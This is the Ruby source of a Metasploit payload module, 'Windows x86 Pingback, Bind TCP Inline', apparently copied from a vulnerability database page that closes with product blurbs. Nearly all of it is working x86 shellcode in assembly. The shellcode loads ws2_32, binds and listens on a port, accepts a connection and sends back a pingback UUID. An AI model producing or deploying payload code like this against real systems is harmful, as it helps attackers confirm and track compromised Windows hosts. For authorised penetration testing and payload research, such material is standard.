##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 314
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Pingback::Options
include Msf::Payload::Windows::Exitfunk
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Pingback
))
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
space
end
def generate(_opts = {})
encoded_port = [datastore['LPORT'].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
self.pingback_uuid ||= self.generate_pingback_uuid
uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")
conf = { exitfunk: datastore['EXITFUNC'] }
addr_fam = 2
sockaddr_size = 16
asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this struct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push 11
pop ecx
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
push 1 ; push SOCK_STREAM
push #{addr_fam} ; push AF_INET/6
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
; bind to 0.0.0.0/[::], pushed earlier
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
test eax,eax ; non-zero means a failure
jnz failure
; backlog, pushed earlier [3]
push edi ; socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
call ebp ; accept( s, 0, 0 );
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
send_pingback:
push 0 ; flags
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
call get_pingback_address ; put pingback_uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz failure
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
failure:
^
if conf[:exitfunk]
asm << asm_exitfunk(conf)
end
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation